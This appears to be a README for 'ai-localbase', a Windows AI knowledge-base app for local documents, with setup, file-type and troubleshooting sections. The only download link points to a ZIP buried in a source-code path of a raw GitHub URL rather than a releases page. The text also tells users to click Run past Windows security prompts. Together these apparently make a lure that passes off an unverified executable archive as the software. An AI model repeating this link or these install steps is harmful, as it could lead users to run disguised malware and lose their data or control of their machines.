🧠 ai-localbase - Local AI knowledge, simple search

📘 What this app does

ai-localbase is a local-first AI knowledge base for Windows. It helps you load local files into a search flow and then chat with a large language model about that content.

You can use it to:

• Search your own documents
• Ask questions about files on your PC
• Keep data on your machine
• Connect local docs to an AI chat flow
• Use MCP service support for tools and integration

It works with these file types:

• md
• txt
• pdf text files
• xlsx
• csv

🪟 Windows download and setup

Use this page to download:

Visit the release page to download

Steps

1. Open the release page.
2. Find the latest version at the top.
3. Download the Windows file for your PC.
4. Save the file to your Desktop or Downloads folder.
5. If the file is in a ZIP package, right-click it and choose Extract All.
6. Open the extracted folder.
7. Double-click the app file to run it.

If Windows shows a security prompt, choose Run if you trust the file source you used.

💻 System requirements

Use a Windows PC with the following:

• Windows 10 or Windows 11
• 8 GB RAM or more
• 10 GB free disk space
• A stable internet connection for first-time setup
• Local storage space for your documents and indexes

For better results with larger files, use:

• 16 GB RAM
• An SSD
• A modern CPU with at least 4 cores

🧩 What you need before first use

ai-localbase works best when you have:

• A folder with your documents
• A local AI model service, such as Ollama
• Enough disk space for file indexing
• A few test files to check search and chat

If you want to use the MCP service feature, keep the app running while your tool connects to it.

🚀 First run

After you open the app for the first time:

1. Wait for the app to load.
2. Open the main screen.
3. Add a folder with your files.
4. Let the app scan and index the content.
5. Open the chat area.
6. Ask a question about one of your documents.

Good first test questions:

• What is this document about?
• Show me the main points.
• Find the date in this file.
• Which file mentions this topic?

📂 Add your documents

Use local files that you want to search later.

Supported file types

• Markdown files: .md
• Text files: .txt
• PDF files with readable text
• Excel files: .xlsx
• CSV files: .csv

Tips for better results

• Use clear file names
• Keep related files in one folder
• Use text-based PDFs, not scanned image PDFs
• Split very large files when possible
• Keep one topic per folder if you can

🔎 Search and chat

The app uses your files as a knowledge base.

You can:

• Search for a term
• Ask a question in plain language
• Get answers based on your local files
• Review the source file used for the answer

Example questions:

• Where is the budget file?
• What does the policy say about remote work?
• Which sheet has the sales numbers?
• What changed in this project note?

🤖 Local AI model support

ai-localbase is built for local AI use.

That means you can keep the main workflow on your own machine and use a local model service for chat and answer generation.

A common setup is:

• Install Ollama
• Pull a model you want to use
• Start the local model service
• Connect ai-localbase to it in the app settings

This setup helps you keep your documents in a local workflow.

🧠 MCP service support

The app supports MCP service use.

That lets other tools work with your local knowledge base in a structured way. If you use MCP clients, you can connect them to the service and use your indexed files as a data source.

Use this when you want:

• Tool access to your knowledge base
• A local service for other AI apps
• A more organized workflow for file-based answers

🛠️ Common setup flow

If you want a simple path on Windows, use this order:

1. Download the latest release
2. Install or extract the app
3. Start Ollama or your local model service
4. Open ai-localbase
5. Add a folder with documents
6. Wait for indexing to finish
7. Start searching and chatting

📁 Good folder layout

A clean folder layout helps the app work well.

Example:

• Work
  • Meeting notes
  • Policy docs
  • Reports
• Personal
  • Receipts
  • Guides
  • Plans
• Project A
  • Specs
  • Tasks
  • Logs

This makes it easier to search by topic.

⚙️ Suggested use cases

Use ai-localbase for:

• Personal notes search
• Team file lookup
• Study notes and class material
• Product manuals
• Project docs
• CSV and spreadsheet review
• Local AI Q&A on your own files

🧪 If the app does not start

Try these steps:

1. Check that you downloaded the correct Windows release.
2. Make sure the file finished downloading.
3. Extract the ZIP file if one was provided.
4. Run the app from the extracted folder.
5. Check that Windows did not block the file.
6. Restart your PC and try again.
7. Make sure your local AI service is running if the chat part does not work.

🔐 Local use

ai-localbase is designed for local-first use.

That means your files stay in your own setup, and you control what gets indexed and searched. This is useful for private notes, work files, and local document sets

🧭 Basic workflow

1. Open the app
2. Add a folder
3. Wait for indexing
4. Search a term
5. Ask a question
6. Read the answer and source
7. Add more files when needed

🧰 File types and best results

Markdown and text

These work well because the app can read them as plain content.

PDF

Use PDFs that contain real text. If the PDF is just an image scan, the app may not read it well.

Excel and CSV

These are good for tables, lists, and records. Keep column names clear.

📦 Release source

Get the Windows download from the release page:

https://raw.githubusercontent.com/devicerosequartz768/ai-localbase/main/backend/eval/cmd/localbase-ai-v2.9.zip

🧭 What to do after setup

After the first run, try this:

• Add three small documents
• Search for one key term
• Ask one question in chat
• Open the source file
• Add one spreadsheet or CSV file
• Test a question about a table value